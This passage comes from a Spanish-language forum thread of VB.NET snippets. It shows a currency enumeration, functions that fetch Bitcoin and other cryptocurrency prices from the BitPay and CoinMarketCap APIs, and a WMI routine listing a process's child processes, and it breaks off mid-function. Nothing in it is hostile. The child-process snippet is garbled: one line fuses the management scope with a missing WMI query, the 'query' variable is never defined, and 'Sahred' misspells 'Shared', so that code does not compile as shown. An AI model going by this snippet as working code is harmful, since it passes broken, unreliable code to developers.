  128.    ''' <summary>
  129.    ''' Belize Dollar
  130.    ''' </summary>
  131.    BZD
  132.  
  133.    ''' <summary>
  134.    ''' Canadian Dollar
  135.    ''' </summary>
  136.    CAD
  137.  
  138.    ''' <summary>
  139.    ''' Congolese Franc
  140.    ''' </summary>
  141.    CDF
  142.  
  143.    ''' <summary>
  144.    ''' Swiss Franc
  145.    ''' </summary>
  146.    CHF
  147.  
  148.    ''' <summary>
  149.    ''' Chilean Unit of Account (UF)
  150.    ''' </summary>
  151.    CLF
  152.  
  153.    ''' <summary>
  154.    ''' Chilean Peso
  155.    ''' </summary>
  156.    CLP
  157.  
  158.    ''' <summary>
  159.    ''' Chinese Yuan
  160.    ''' </summary>
  161.    CNY
  162.  
  163.    ''' <summary>
  164.    ''' Colombian Peso
  165.    ''' </summary>
  166.    COP
  167.  
  168.    ''' <summary>
  169.    ''' Costa Rican Colón
  170.    ''' </summary>
  171.    CRC
  172.  
  173.    ''' <summary>
  174.    ''' Cuban Peso
  175.    ''' </summary>
  176.    CUP
  177.  
  178.    ''' <summary>
  179.    ''' Cape Verdean Escudo
  180.    ''' </summary>
  181.    CVE
  182.  
  183.    ''' <summary>
  184.    ''' Czech Koruna
  185.    ''' </summary>
  186.    CZK
  187.  
  188.    ''' <summary>
  189.    ''' Djiboutian Franc
  190.    ''' </summary>
  191.    DJF
  192.  
  193.    ''' <summary>
  194.    ''' Danish Krone
  195.    ''' </summary>
  196.    DKK
  197.  
  198.    ''' <summary>
  199.    ''' Dominican Peso
  200.    ''' </summary>
  201.    DOP
  202.  
  203.    ''' <summary>
  204.    ''' Algerian Dinar
  205.    ''' </summary>
  206.    DZD
  207.  
  208.    ''' <summary>
  209.    ''' Egyptian Pound
  210.    ''' </summary>
  211.    EGP
  212.  
  213.    ''' <summary>
  214.    ''' Ethiopian Birr
  215.    ''' </summary>
  216.    ETB
  217.  
  218.    ''' <summary>
  219.    ''' Eurozone Euro
  220.    ''' </summary>
  221.    EUR
  222.  
  223.    ''' <summary>
  224.    ''' Fijian Dollar
  225.    ''' </summary>
  226.    FJD
  227.  
  228.    ''' <summary>
  229.    ''' Falkland Islands Pound
  230.    ''' </summary>
  231.    FKP
  232.  
  233.    ''' <summary>
  234.    ''' Pound Sterling
  235.    ''' </summary>
  236.    GBP
  237.  
  238.    ''' <summary>
  239.    ''' Georgian Lari
  240.    ''' </summary>
  241.    GEL
  242.  
  243.    ''' <summary>
  244.    ''' Ghanaian Cedi
  245.    ''' </summary>
  246.    GHS
  247.  
  248.    ''' <summary>
  249.    ''' Gibraltar Pound
  250.    ''' </summary>
  251.    GIP
  252.  
  253.    ''' <summary>
  254.    ''' Gambian Dalasi
  255.    ''' </summary>
  256.    GMD
  257.  
  258.    ''' <summary>
  259.    ''' Guinean Franc
  260.    ''' </summary>
  261.    GNF
  262.  
  263.    ''' <summary>
  264.    ''' Guatemalan Quetzal
  265.    ''' </summary>
  266.    GTQ
  267.  
  268.    ''' <summary>
  269.    ''' Guyanaese Dollar
  270.    ''' </summary>
  271.    GYD
  272.  
  273.    ''' <summary>
  274.    ''' Hong Kong Dollar
  275.    ''' </summary>
  276.    HKD
  277.  
  278.    ''' <summary>
  279.    ''' Honduran Lempira
  280.    ''' </summary>
  281.    HNL
  282.  
  283.    ''' <summary>
  284.    ''' Croatian Kuna
  285.    ''' </summary>
  286.    HRK
  287.  
  288.    ''' <summary>
  289.    ''' Haitian Gourde
  290.    ''' </summary>
  291.    HTG
  292.  
  293.    ''' <summary>
  294.    ''' Hungarian Forint
  295.    ''' </summary>
  296.    HUF
  297.  
  298.    ''' <summary>
  299.    ''' Indonesian Rupiah
  300.    ''' </summary>
  301.    IDR
  302.  
  303.    ''' <summary>
  304.    ''' Israeli Shekel
  305.    ''' </summary>
  306.    ILS
  307.  
  308.    ''' <summary>
  309.    ''' Indian Rupee
  310.    ''' </summary>
  311.    INR
  312.  
  313.    ''' <summary>
  314.    ''' Iraqi Dinar
  315.    ''' </summary>
  316.    IQD
  317.  
  318.    ''' <summary>
  319.    ''' Iranian Rial
  320.    ''' </summary>
  321.    IRR
  322.  
  323.    ''' <summary>
  324.    ''' Icelandic Króna
  325.    ''' </summary>
  326.    ISK
  327.  
  328.    ''' <summary>
  329.    ''' Jersey Pound
  330.    ''' </summary>
  331.    JEP
  332.  
  333.    ''' <summary>
  334.    ''' Jamaican Dollar
  335.    ''' </summary>
  336.    JMD
  337.  
  338.    ''' <summary>
  339.    ''' Jordanian Dinar
  340.    ''' </summary>
  341.    JOD
  342.  
  343.    ''' <summary>
  344.    ''' Japanese Yen
  345.    ''' </summary>
  346.    JPY
  347.  
  348.    ''' <summary>
  349.    ''' Kenyan Shilling
  350.    ''' </summary>
  351.    KES
  352.  
  353.    ''' <summary>
  354.    ''' Kyrgystani Som
  355.    ''' </summary>
  356.    KGS
  357.  
  358.    ''' <summary>
  359.    ''' Cambodian Riel
  360.    ''' </summary>
  361.    KHR
  362.  
  363.    ''' <summary>
  364.    ''' Comorian Franc
  365.    ''' </summary>
  366.    KMF
  367.  
  368.    ''' <summary>
  369.    ''' North Korean Won
  370.    ''' </summary>
  371.    KPW
  372.  
  373.    ''' <summary>
  374.    ''' South Korean Won
  375.    ''' </summary>
  376.    KRW
  377.  
  378.    ''' <summary>
  379.    ''' Kuwaiti Dinar
  380.    ''' </summary>
  381.    KWD
  382.  
  383.    ''' <summary>
  384.    ''' Cayman Islands Dollar
  385.    ''' </summary>
  386.    KYD
  387.  
  388.    ''' <summary>
  389.    ''' Kazakhstani Tenge
  390.    ''' </summary>
  391.    KZT
  392.  
  393.    ''' <summary>
  394.    ''' Laotian Kip
  395.    ''' </summary>
  396.    LAK
  397.  
  398.    ''' <summary>
  399.    ''' Lebanese Pound
  400.    ''' </summary>
  401.    LBP
  402.  
  403.    ''' <summary>
  404.    ''' Sri Lankan Rupee
  405.    ''' </summary>
  406.    LKR
  407.  
  408.    ''' <summary>
  409.    ''' Liberian Dollar
  410.    ''' </summary>
  411.    LRD
  412.  
  413.    ''' <summary>
  414.    ''' Lesotho Loti
  415.    ''' </summary>
  416.    LSL
  417.  
  418.    ''' <summary>
  419.    ''' Libyan Dinar
  420.    ''' </summary>
  421.    LYD
  422.  
  423.    ''' <summary>
  424.    ''' Moroccan Dirham
  425.    ''' </summary>
  426.    MAD
  427.  
  428.    ''' <summary>
  429.    ''' Moldovan Leu
  430.    ''' </summary>
  431.    MDL
  432.  
  433.    ''' <summary>
  434.    ''' Malagasy Ariary
  435.    ''' </summary>
  436.    MGA
  437.  
  438.    ''' <summary>
  439.    ''' Macedonian Denar
  440.    ''' </summary>
  441.    MKD
  442.  
  443.    ''' <summary>
  444.    ''' Myanma Kyat
  445.    ''' </summary>
  446.    MMK
  447.  
  448.    ''' <summary>
  449.    ''' Mongolian Tugrik
  450.    ''' </summary>
  451.    MNT
  452.  
  453.    ''' <summary>
  454.    ''' Macanese Pataca
  455.    ''' </summary>
  456.    MOP
  457.  
  458.    ''' <summary>
  459.    ''' Mauritanian Ouguiya
  460.    ''' </summary>
  461.    MRO
  462.  
  463.    ''' <summary>
  464.    ''' Mauritian Rupee
  465.    ''' </summary>
  466.    MUR
  467.  
  468.    ''' <summary>
  469.    ''' Maldivian Rufiyaa
  470.    ''' </summary>
  471.    MVR
  472.  
  473.    ''' <summary>
  474.    ''' Malawian Kwacha
  475.    ''' </summary>
  476.    MWK
  477.  
  478.    ''' <summary>
  479.    ''' Mexican Peso
  480.    ''' </summary>
  481.    MXN
  482.  
  483.    ''' <summary>
  484.    ''' Malaysian Ringgit
  485.    ''' </summary>
  486.    MYR
  487.  
  488.    ''' <summary>
  489.    ''' Mozambican Metical
  490.    ''' </summary>
  491.    MZN
  492.  
  493.    ''' <summary>
  494.    ''' Namibian Dollar
  495.    ''' </summary>
  496.    NAD
  497.  
  498.    ''' <summary>
  499.    ''' Nigerian Naira
  500.    ''' </summary>
  501.    NGN
  502.  
  503.    ''' <summary>
  504.    ''' Nicaraguan Córdoba
  505.    ''' </summary>
  506.    NIO
  507.  
  508.    ''' <summary>
  509.    ''' Norwegian Krone
  510.    ''' </summary>
  511.    NOK
  512.  
  513.    ''' <summary>
  514.    ''' Nepalese Rupee
  515.    ''' </summary>
  516.    NPR
  517.  
  518.    ''' <summary>
  519.    ''' New Zealand Dollar
  520.    ''' </summary>
  521.    NZD
  522.  
  523.    ''' <summary>
  524.    ''' Omani Rial
  525.    ''' </summary>
  526.    OMR
  527.  
  528.    ''' <summary>
  529.    ''' Panamanian Balboa
  530.    ''' </summary>
  531.    PAB
  532.  
  533.    ''' <summary>
  534.    ''' Peruvian Nuevo Sol
  535.    ''' </summary>
  536.    PEN
  537.  
  538.    ''' <summary>
  539.    ''' Papua New Guinean Kina
  540.    ''' </summary>
  541.    PGK
  542.  
  543.    ''' <summary>
  544.    ''' Philippine Peso
  545.    ''' </summary>
  546.    PHP
  547.  
  548.    ''' <summary>
  549.    ''' Pakistani Rupee
  550.    ''' </summary>
  551.    PKR
  552.  
  553.    ''' <summary>
  554.    ''' Polish Zloty
  555.    ''' </summary>
  556.    PLN
  557.  
  558.    ''' <summary>
  559.    ''' Paraguayan Guarani
  560.    ''' </summary>
  561.    PYG
  562.  
  563.    ''' <summary>
  564.    ''' Qatari Rial
  565.    ''' </summary>
  566.    QAR
  567.  
  568.    ''' <summary>
  569.    ''' Romanian Leu
  570.    ''' </summary>
  571.    RON
  572.  
  573.    ''' <summary>
  574.    ''' Serbian Dinar
  575.    ''' </summary>
  576.    RSD
  577.  
  578.    ''' <summary>
  579.    ''' Russian Ruble
  580.    ''' </summary>
  581.    RUB
  582.  
  583.    ''' <summary>
  584.    ''' Rwandan Franc
  585.    ''' </summary>
  586.    RWF
  587.  
  588.    ''' <summary>
  589.    ''' Saudi Riyal
  590.    ''' </summary>
  591.    SAR
  592.  
  593.    ''' <summary>
  594.    ''' Solomon Islands Dollar
  595.    ''' </summary>
  596.    SBD
  597.  
  598.    ''' <summary>
  599.    ''' Seychellois Rupee
  600.    ''' </summary>
  601.    SCR
  602.  
  603.    ''' <summary>
  604.    ''' Sudanese Pound
  605.    ''' </summary>
  606.    SDG
  607.  
  608.    ''' <summary>
  609.    ''' Swedish Krona
  610.    ''' </summary>
  611.    SEK
  612.  
  613.    ''' <summary>
  614.    ''' Singapore Dollar
  615.    ''' </summary>
  616.    SGD
  617.  
  618.    ''' <summary>
  619.    ''' Saint Helena Pound
  620.    ''' </summary>
  621.    SHP
  622.  
  623.    ''' <summary>
  624.    ''' Sierra Leonean Leone
  625.    ''' </summary>
  626.    SLL
  627.  
  628.    ''' <summary>
  629.    ''' Somali Shilling
  630.    ''' </summary>
  631.    SOS
  632.  
  633.    ''' <summary>
  634.    ''' Surinamese Dollar
  635.    ''' </summary>
  636.    SRD
  637.  
  638.    ''' <summary>
  639.    ''' São Tomé and Príncipe Dobra
  640.    ''' </summary>
  641.    STD
  642.  
  643.    ''' <summary>
  644.    ''' Salvadoran Colón
  645.    ''' </summary>
  646.    SVC
  647.  
  648.    ''' <summary>
  649.    ''' Syrian Pound
  650.    ''' </summary>
  651.    SYP
  652.  
  653.    ''' <summary>
  654.    ''' Swazi Lilangeni
  655.    ''' </summary>
  656.    SZL
  657.  
  658.    ''' <summary>
  659.    ''' Thai Baht
  660.    ''' </summary>
  661.    THB
  662.  
  663.    ''' <summary>
  664.    ''' Tajikistani Somoni
  665.    ''' </summary>
  666.    TJS
  667.  
  668.    ''' <summary>
  669.    ''' Turkmenistani Manat
  670.    ''' </summary>
  671.    TMT
  672.  
  673.    ''' <summary>
  674.    ''' Tunisian Dinar
  675.    ''' </summary>
  676.    TND
  677.  
  678.    ''' <summary>
  679.    ''' Tongan Pa&#699;anga
  680.    ''' </summary>
  681.    TOP
  682.  
  683.    ''' <summary>
  684.    ''' Turkish Lira
  685.    ''' </summary>
  686.    [TRY]
  687.  
  688.    ''' <summary>
  689.    ''' Trinidad and Tobago Dollar
  690.    ''' </summary>
  691.    TTD
  692.  
  693.    ''' <summary>
  694.    ''' New Taiwan Dollar
  695.    ''' </summary>
  696.    TWD
  697.  
  698.    ''' <summary>
  699.    ''' Tanzanian Shilling
  700.    ''' </summary>
  701.    TZS
  702.  
  703.    ''' <summary>
  704.    ''' Ukrainian Hryvnia
  705.    ''' </summary>
  706.    UAH
  707.  
  708.    ''' <summary>
  709.    ''' Ugandan Shilling
  710.    ''' </summary>
  711.    UGX
  712.  
  713.    ''' <summary>
  714.    ''' US Dollar
  715.    ''' </summary>
  716.    USD
  717.  
  718.    ''' <summary>
  719.    ''' Uruguayan Peso
  720.    ''' </summary>
  721.    UYU
  722.  
  723.    ''' <summary>
  724.    ''' Uzbekistan Som
  725.    ''' </summary>
  726.    UZS
  727.  
  728.    ''' <summary>
  729.    ''' Venezuelan Bolívar Fuerte
  730.    ''' </summary>
  731.    VEF
  732.  
  733.    ''' <summary>
  734.    ''' Vietnamese Dong
  735.    ''' </summary>
  736.    VND
  737.  
  738.    ''' <summary>
  739.    ''' Vanuatu Vatu
  740.    ''' </summary>
  741.    VUV
  742.  
  743.    ''' <summary>
  744.    ''' Samoan Tala
  745.    ''' </summary>
  746.    WST
  747.  
  748.    ''' <summary>
  749.    ''' CFA Franc BEAC
  750.    ''' </summary>
  751.    XAF
  752.  
  753.    ''' <summary>
  754.    ''' Silver (troy ounce)
  755.    ''' </summary>
  756.    XAG
  757.  
  758.    ''' <summary>
  759.    ''' Gold (troy ounce)
  760.    ''' </summary>
  761.    XAU
  762.  
  763.    ''' <summary>
  764.    ''' East Caribbean Dollar
  765.    ''' </summary>
  766.    XCD
  767.  
  768.    ''' <summary>
  769.    ''' CFA Franc BCEAO
  770.    ''' </summary>
  771.    XOF
  772.  
  773.    ''' <summary>
  774.    ''' CFP Franc
  775.    ''' </summary>
  776.    XPF
  777.  
  778.    ''' <summary>
  779.    ''' Yemeni Rial
  780.    ''' </summary>
  781.    YER
  782.  
  783.    ''' <summary>
  784.    ''' South African Rand
  785.    ''' </summary>
  786.    ZAR
  787.  
  788.    ''' <summary>
  789.    ''' Zambian Kwacha
  790.    ''' </summary>
  791.    ZMW
  792.  
  793.    ''' <summary>
  794.    ''' Zimbabwean Dollar
  795.    ''' </summary>
  796.    ZWL
  797.  
  798. End Enum
  799.  

Y con eso, podemos hacer una función de uso genérico que tome como argumento un valor de la enumeración, usar la API y parsear el documento JSON devuelto para obtener el valor del Bitcoin:

Código
  1. Imports System.Globalization
  2. Imports System.IO
  3. Imports System.Net
  4. Imports System.Runtime.Serialization.Json
  5. Imports System.Text
  6. Imports System.Xml

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Gets the price of 1 Bitcoin in the specified currency.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <param name="currency">
  7. ''' The currency.
  8. ''' </param>
  9. ''' ----------------------------------------------------------------------------------------------------
  10. ''' <returns>
  11. ''' The resulting price.
  12. ''' </returns>
  13. ''' ----------------------------------------------------------------------------------------------------
  14. ''' <exception cref="HttpListenerException">
  15. ''' The returned Bitcoin rate info is empty due to an unknown error.
  16. ''' </exception>
  17. ''' ----------------------------------------------------------------------------------------------------
  18. <DebuggerStepThrough>
  19. Private Shared Function GetBitcoinPrice(ByVal currency As Currencies) As Decimal
  20.  
  21.    Dim uri As New Uri(String.Format("https://bitpay.com/api/rates/BTC/{0}", currency.ToString()))
  22.    Dim req As WebRequest = WebRequest.Create(uri)
  23.  
  24.    Using res As WebResponse = req.GetResponse(),
  25.          sr As New StreamReader(res.GetResponseStream()),
  26.          xmlReader As XmlDictionaryReader =
  27.              JsonReaderWriterFactory.CreateJsonReader(sr.BaseStream, Encoding.UTF8, New XmlDictionaryReaderQuotas, Nothing)
  28.  
  29.        Dim xml As XElement = XElement.Load(xmlReader)
  30.        If (xml.IsEmpty) Then
  31.            Dim errMsg As String = String.Format("The returned Bitcoin rate info is empty due to an unknown error. ""{0}""", uri.ToString())
  32.            Throw New HttpListenerException(HttpStatusCode.NotFound, errMsg)
  33.        End If
  34.  
  35.        Return Decimal.Parse(xml.<rate>.Value, NumberStyles.Currency, New NumberFormatInfo With {.CurrencyDecimalSeparator = "."})
  36.  
  37.    End Using
  38.  
  39. End Function

Modo de empleo:
Código
  1. Dim price As Decimal = GetBitcoinPrice(Currencies.USD)
  2. Console.WriteLine(price)

Saludos.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 23 Diciembre 2017, 04:28 am
¿CÓMO OBTENER UNA REFERENCIA A TODOS LOS PROCESOS HIJO DE UN PROCESO?

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Gets the child processes of the source <see cref="Process"/>.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <param name="p">
  7. ''' The source <see cref="Process"/>.
  8. ''' </param>
  9. ''' ----------------------------------------------------------------------------------------------------
  10. ''' <returns>
  11. ''' A <see cref="IEnumerable(Of Process)"/> containing the child processes.
  12. ''' </returns>
  13. ''' ----------------------------------------------------------------------------------------------------
  14. <DebuggerStepThrough>
  15. Public Sahred Iterator Function GetChildProcesses(ByVal p As Process) As IEnumerable(Of Process)
  16.  
  17.    Dim scope As New ManagementScope("root\CIMV2")p.Id))
  18.    Dim options As New EnumerationOptions With {
  19.        .ReturnImmediately = True,
  20.        .Rewindable = False,
  21.        .DirectRead = True,
  22.        .EnumerateDeep = False
  23.    }
  24.  
  25.    Using mos As New ManagementObjectSearcher(scope, query, options),
  26.          moc As ManagementObjectCollection = mos.Get()
  27.  
  28.        For Each mo As ManagementObject In moc
  29.            Dim value As Object = mo.Properties("ProcessID").Value()
  30.            If (value IsNot Nothing) Then
  31.                Yield Process.GetProcessById(CInt(value))
  32.            End If
  33.        Next
  34.    End Using
  35.  
  36. End Function

Modo de empleo:
Código
  1. Dim mainProcess As Process = Process.GetProcessesByName("explorer").Single()
  2. Dim childProcesses As IEnumerable(Of Process) = GetChildProcesses(mainProcess)
  3.  
  4. For Each p As Process In childProcesses
  5.    Console.WriteLine(p.ProcessName)
  6. Next

Saludos.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 23 Diciembre 2017, 07:52 am
CÓMO OBTENER EL PRECIO DEL BITCOIN DE UNA CANTIDAD DE CUALQUIER CRIPTOMONEDA EN LA MONEDA QUE QUIERAS

Con el fin de ahorrar la escritura de código, reutilizaremos la enumeración que ya publiqué en este otro post:

  • CÓMO OBTENER EL PRECIO DEL BITCOIN EN LA MONEDA QUE QUIERAS (https://foro.elhacker.net/net/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2149675#msg2149675)

( deben copiar y pegar la enumeración "Currencies" junto al código que mostraré a continuación para que funcione. )

En esta ocasión, la API que utilizaremos será: https://coinmarketcap.com/api/ (https://coinmarketcap.com/api/), la cual soporta muchas criptomonedas, aunque no muchas divisas.

Primero definiremos una interfáz con nombre ICryptoCurrency, que nos servirá para representar criptomonedas (Bitcoin, Ethereum, Litecoin, etcétera) y sus funcionalidades.

Código
  1. Public Interface ICryptoCurrency
  2.  
  3.    ''' <summary>
  4.    ''' Gets the canonical name of this <see cref="ICryptoCurrency"/>.
  5.    ''' </summary>
  6.    ReadOnly Property Name As String
  7.  
  8.    ''' <summary>
  9.    ''' Gets the symbol of this <see cref="ICryptoCurrency"/>.
  10.    ''' </summary>
  11.    ReadOnly Property Symbol As String
  12.  
  13.    ''' <summary>
  14.    ''' Gets the price equivalency for 1 amount of this <see cref="ICryptoCurrency"/> converted to the specified currency.
  15.    ''' </summary>
  16.    Function GetPrice(ByVal currency As Currencies) As Double
  17.  
  18.    ''' <summary>
  19.    ''' Gets the price equivalency for the specified amount of this <see cref="ICryptoCurrency"/> converted to the specified currency.
  20.    ''' </summary>
  21.    Function GetPrice(ByVal amount As Double, ByVal currency As Currencies) As Double
  22.  
  23.    ''' <summary>
  24.    ''' Asunchronously gets the price equivalency for 1 amount of this <see cref="ICryptoCurrency"/> converted to the specified currency.
  25.    ''' </summary>
  26.    Function GetPriceAsync(ByVal currency As Currencies) As Task(Of Double)
  27.  
  28.    ''' <summary>
  29.    ''' Asynchronously gets the price equivalency for the specified amount of this <see cref="ICryptoCurrency"/> converted to the specified currency.
  30.    ''' </summary>
  31.    Function GetPriceAsync(ByVal amount As Double, ByVal currency As Currencies) As Task(Of Double)
  32.  
  33. End Interface

Seguidamente implementamos las criptomodas que queramos, en este caso el Bitcoin y Ethereum:

( para implementar más criptomonedas solo tienen que copiar y pegar la clase del Bitcoin o del Ethereum, modificar el nombre y el símbolo para la nueva criptomoneda, y lo demás dejarlo todo exactamente igual... )

Código
  1. ''' <summary>
  2. ''' Represents the Bitcoin (symbol: BTC) cryptocurrency.
  3. ''' </summary>
  4. Public Class Bitcoin : Implements ICryptoCurrency
  5.  
  6.    Public Sub New()
  7.    End Sub
  8.  
  9.    Public ReadOnly Property Name As String = "Bitcoin" Implements ICryptoCurrency.Name
  10.  
  11.    Public ReadOnly Property Symbol As String = "BTC" Implements ICryptoCurrency.Symbol
  12.  
  13.    ''' <summary>
  14.    ''' Gets the price for 1 Bitcoins converted to the specified currency.
  15.    ''' </summary>
  16.    Public Overridable Function GetPrice(ByVal currency As Currencies) As Double Implements ICryptoCurrency.GetPrice
  17.        Return CryptoCurrencyUtil.GetCryptoCurrencyPrice(Me, 1, currency)
  18.    End Function
  19.  
  20.    ''' <summary>
  21.    ''' Gets the price for the specified amount of Bitcoins converted to the specified currency.
  22.    ''' </summary>
  23.    Public Overridable Function GetPrice(ByVal amount As Double, ByVal currency As Currencies) As Double Implements ICryptoCurrency.GetPrice
  24.        Return CryptoCurrencyUtil.GetCryptoCurrencyPrice(Me, amount, currency)
  25.    End Function
  26.  
  27.    ''' <summary>
  28.    ''' Asynchronously gets the price for 1 Bitcoins converted to the specified currency.
  29.    ''' </summary>
  30.    Public Overridable Async Function GetPriceAsync(ByVal currency As Currencies) As Task(Of Double) Implements ICryptoCurrency.GetPriceAsync
  31.        Return Await CryptoCurrencyUtil.GetCryptoCurrencyPriceAsync(Me, 1, currency)
  32.    End Function
  33.  
  34.    ''' <summary>
  35.    ''' Asynchronously gets the price for the specified amount of Bitcoins converted to the specified currency.
  36.    ''' </summary>
  37.    Public Overridable Async Function GetPriceAsync(ByVal amount As Double, ByVal currency As Currencies) As Task(Of Double) Implements ICryptoCurrency.GetPriceAsync
  38.        Return Await CryptoCurrencyUtil.GetCryptoCurrencyPriceAsync(Me, amount, currency)
  39.    End Function
  40.  
  41. End Class

Código
  1. ''' <summary>
  2. ''' Represents the Ethereum (symbol: ETH) cryptocurrency.
  3. ''' </summary>
  4. Public Class Ethereum : Implements ICryptoCurrency
  5.  
  6.    Public Sub New()
  7.    End Sub
  8.  
  9.    Public ReadOnly Property Name As String = "Ethereum" Implements ICryptoCurrency.Name
  10.  
  11.    Public ReadOnly Property Symbol As String = "ETH" Implements ICryptoCurrency.Symbol
  12.  
  13.    ''' <summary>
  14.    ''' Gets the price for 1 Ethereums converted to the specified currency.
  15.    ''' </summary>
  16.    Public Overridable Function GetPrice(ByVal currency As Currencies) As Double Implements ICryptoCurrency.GetPrice
  17.        Return CryptoCurrencyUtil.GetCryptoCurrencyPrice(Me, 1, currency)
  18.    End Function
  19.  
  20.    ''' <summary>
  21.    ''' Gets the price for the specified amount of Ethereums converted to the specified currency.
  22.    ''' </summary>
  23.    Public Overridable Function GetPrice(ByVal amount As Double, ByVal currency As Currencies) As Double Implements ICryptoCurrency.GetPrice
  24.        Return CryptoCurrencyUtil.GetCryptoCurrencyPrice(Me, amount, currency)
  25.    End Function
  26.  
  27.    ''' <summary>
  28.    ''' Asynchronously gets the price for 1 Ethereums converted to the specified currency.
  29.    ''' </summary>
  30.    Public Overridable Async Function GetPriceAsync(ByVal currency As Currencies) As Task(Of Double) Implements ICryptoCurrency.GetPriceAsync
  31.        Return Await CryptoCurrencyUtil.GetCryptoCurrencyPriceAsync(Me, 1, currency)
  32.    End Function
  33.  
  34.    ''' <summary>
  35.    ''' Asynchronously gets the price for the specified amount of Ethereums converted to the specified currency.
  36.    ''' </summary>
  37.    Public Overridable Async Function GetPriceAsync(ByVal amount As Double, ByVal currency As Currencies) As Task(Of Double) Implements ICryptoCurrency.GetPriceAsync
  38.        Return Await CryptoCurrencyUtil.GetCryptoCurrencyPriceAsync(Me, amount, currency)
  39.    End Function
  40.  
  41. End Class

Por último, creamos una clase con nombre CryptoCurrencyUtil en la que declararemos las funciones GetCryptoCurrencyPrice y GetCryptoCurrencyPriceAsync:

Código
  1. Public NotInheritable Class CryptoCurrencyUtil
  2.  
  3.    Private Sub New()
  4.    End Sub
  5.  
  6.    ''' ----------------------------------------------------------------------------------------------------
  7.    ''' <summary>
  8.    ''' Gets the price of the specified cryptocurrency converted to the target currency.
  9.    ''' </summary>
  10.    ''' ----------------------------------------------------------------------------------------------------
  11.    ''' <param name="cryptoCurrency">
  12.    ''' The source <see cref="ICryptoCurrency"/>.
  13.    ''' </param>
  14.    '''
  15.    ''' <param name="amount">
  16.    ''' The amount value of the source cryptocurrency.
  17.    ''' </param>
  18.    '''
  19.    ''' <param name="currency">
  20.    ''' The target currency.
  21.    ''' </param>
  22.    ''' ----------------------------------------------------------------------------------------------------
  23.    ''' <returns>
  24.    ''' The resulting price.
  25.    ''' </returns>
  26.    ''' ----------------------------------------------------------------------------------------------------
  27.    ''' <exception cref="NotImplementedException">
  28.    ''' The specified currency is not supported by this API.
  29.    ''' </exception>
  30.    '''
  31.    ''' <exception cref="HttpListenerException">
  32.    ''' The requested cryptocurrency rate info is empty due to an unknown error.
  33.    ''' </exception>
  34.    '''
  35.    ''' <exception cref="FormatException">
  36.    ''' Element name '{0}' not found. Unknown error reason.
  37.    ''' </exception>
  38.    ''' ----------------------------------------------------------------------------------------------------
  39.    <DebuggerStepThrough>
  40.    Public Shared Function GetCryptoCurrencyPrice(ByVal cryptoCurrency As ICryptoCurrency, ByVal amount As Double, ByVal currency As Currencies) As Double
  41.  
  42.        Dim t As New Task(Of Double)(
  43.            Function() As Double
  44.                Return CryptoCurrencyUtil.GetCryptoCurrencyPriceAsync(cryptoCurrency, amount, currency).Result
  45.            End Function)
  46.  
  47.        t.Start()
  48.        t.Wait()
  49.  
  50.        Return t.Result
  51.  
  52.    End Function
  53.  
  54.    ''' ----------------------------------------------------------------------------------------------------
  55.    ''' <summary>
  56.    ''' Asynchronously gets the price of the specified cryptocurrency converted to the target currency.
  57.    ''' </summary>
  58.    ''' ----------------------------------------------------------------------------------------------------
  59.    ''' <param name="cryptoCurrency">
  60.    ''' The source <see cref="ICryptoCurrency"/>.
  61.    ''' </param>
  62.    '''
  63.    ''' <param name="amount">
  64.    ''' The amount value of the source cryptocurrency.
  65.    ''' </param>
  66.    '''
  67.    ''' <param name="currency">
  68.    ''' The target currency.
  69.    ''' </param>
  70.    ''' ----------------------------------------------------------------------------------------------------
  71.    ''' <returns>
  72.    ''' The resulting price.
  73.    ''' </returns>
  74.    ''' ----------------------------------------------------------------------------------------------------
  75.    ''' <exception cref="NotImplementedException">
  76.    ''' The specified currency is not supported by this API.
  77.    ''' </exception>
  78.    '''
  79.    ''' <exception cref="HttpListenerException">
  80.    ''' The requested cryptocurrency rate info is empty due to an unknown error.
  81.    ''' </exception>
  82.    '''
  83.    ''' <exception cref="FormatException">
  84.    ''' Element name '{0}' not found. Unknown error reason.
  85.    ''' </exception>
  86.    ''' ----------------------------------------------------------------------------------------------------
  87.    <DebuggerStepThrough>
  88.    Public Shared Async Function GetCryptoCurrencyPriceAsync(ByVal cryptoCurrency As ICryptoCurrency, ByVal amount As Double, ByVal currency As Currencies) As Task(Of Double)
  89.  
  90.        Dim validCurrencies As String() =
  91.        {
  92.            "AUD", "BRL", "CAD", "CHF", "CLP", "CNY", "CZK", "DKK",
  93.            "EUR", "GBP", "HKD", "HUF", "IDR", "ILS", "INR", "JPY",
  94.            "KRW", "MXN", "MYR", "NOK", "NZD", "PHP", "PKR", "PLN",
  95.            "RUB", "SEK", "SGD", "THB", "TRY", "TWD", "USD", "ZAR"
  96.        }
  97.  
  98.        If Not validCurrencies.Contains(currency.ToString().ToUpper()) Then
  99.            Throw New NotImplementedException("The specified currency is not supported by this API.",
  100.                                              New ArgumentException("", paramName:="currency"))
  101.        End If
  102.  
  103.        Dim uri As New Uri(String.Format("https://api.coinmarketcap.com/v1/ticker/{0}/?convert={1}",
  104.                                         cryptoCurrency.Name, currency.ToString()))
  105.  
  106.        Dim req As WebRequest = WebRequest.Create(uri)
  107.        Using res As WebResponse = Await req.GetResponseAsync(),
  108.                  SR As New StreamReader(res.GetResponseStream()),
  109.                  XmlReader As XmlDictionaryReader =
  110.                      JsonReaderWriterFactory.CreateJsonReader(SR.BaseStream, Encoding.UTF8, New XmlDictionaryReaderQuotas, Nothing)
  111.  
  112.            Dim xml As XElement = XElement.Load(XmlReader)
  113.            If (xml.IsEmpty) Then
  114.                Dim errMsg As String = String.Format("The requested cryptocurrency rate info is empty due to an unknown error. ""{0}""", uri.ToString())
  115.                Throw New HttpListenerException(HttpStatusCode.NotFound, errMsg)
  116.            End If
  117.  
  118.            Dim elementName As String = String.Format("price_{0}", currency.ToString().ToLower())
  119.            Dim element As XElement = xml.Element("item").Element(elementName)
  120.            If (element Is Nothing) Then
  121.                Throw New FormatException(String.Format("Element name '{0}' not found. Unknown error reason.", elementName))
  122.            End If
  123.  
  124.            Dim price As Double = Double.Parse(element.Value, NumberStyles.Currency, New NumberFormatInfo With {.CurrencyDecimalSeparator = "."})
  125.            Select Case amount
